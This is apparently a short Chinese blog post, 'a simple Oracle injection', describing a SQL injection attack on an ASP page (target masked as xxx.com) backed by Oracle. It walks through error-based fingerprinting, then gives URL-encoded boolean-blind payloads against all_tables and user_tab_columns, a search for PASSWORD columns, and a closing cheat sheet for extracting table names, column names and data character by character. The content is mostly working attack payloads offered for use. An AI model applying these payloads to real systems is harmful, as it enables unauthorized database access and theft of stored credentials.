url http://xxx.com/xxx/xxx/abc.asp?PackageID=111 先用典型的and 1=1 and 1=2方法来测试了一下,返回类型不匹配: 'CDbl'错误 不可以的,再提交一个一个单引号试试,页面返回错误 OraOLEDB 错误 '80004005' ORA-01756: 括号内的字符串没有正确结束 ......等 大概可以肯定是oracle了,继续分别提交 http://xxx.com/xxx/xxx/abc.asp?PackageID ... <>(select%20count(*)%20from%20all_tables)%20and%20'1'='1 http://xxx.com/xxx/xxx/abc.asp?PackageID ... <>(select%20count(*)%20from%20user_tables)%20and%20'1'='1 http://xxx.com/xxx/xxx/abc.asp?PackageID ... <>(select%20count(*)%20from%20user_tab_columns)%20and%20'1'='1 猜测的ORACLE的系统表all_tables,user_tables和user_tab_columns 这些页面全部返回成功,说明存在这几个表名,呵呵~~ 下面猜测user_tab_columns系统表里是否存放了所有的用户表的列名,提交 http://xxx.com/xxx/xxx/abc.asp?PackageID ... <>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20'%25PASSWORD%25')%20AND%20'1'='1 就是查询表里是否有password这个字串的列名 页面正常返回,说明存在这个password的字串 以后就是一些机械的了,和sql类似,不说了,困的,太懒了~~~ 整理下 0〈〉(select count(*) from all_tables) and '1'='1 猜测是否有all_tables系统表 0〈〉(select count(*) from user_tab_columns where column_name like '%25列名关键字%25') AND '1'='1 猜测是否有包含定义关键字的列名 0〈〉(select count(*) from user_tab_columns where column_name like '%25列名关键字%25' and substr(table_name,1,1)='A') AND '1'='1 包含关键列名的表中是否有以A开头的。即开始一位位猜表。 0〈〉(select count(*) from user_tables where table_name like '%25表名关键字%25' and length(table_name)=N) and '1'='1 猜测包表名含有关键字的表的长度 0〈〉(select count(*) from user_tab_columns where table_name='表名' and substr(column_name,1,1)='A') AND '1'='1 猜测列名 0〈〉(select count(*) from 表名 where 列名1='XXXXXXXX' and substr(列名2,1,1)='a') AND '1'='1 猜测数据 |
一个简单的oracle注入
最新推荐文章于 2024-09-18 20:43:40 发布